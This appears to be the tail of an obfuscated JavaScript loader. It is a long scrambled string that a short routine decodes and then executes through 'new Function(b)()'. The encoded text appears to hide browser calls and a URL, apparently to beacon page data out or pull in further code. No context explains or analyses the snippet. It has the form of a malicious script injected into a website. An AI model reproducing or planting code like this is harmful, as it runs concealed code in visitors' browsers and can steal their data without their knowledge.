Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();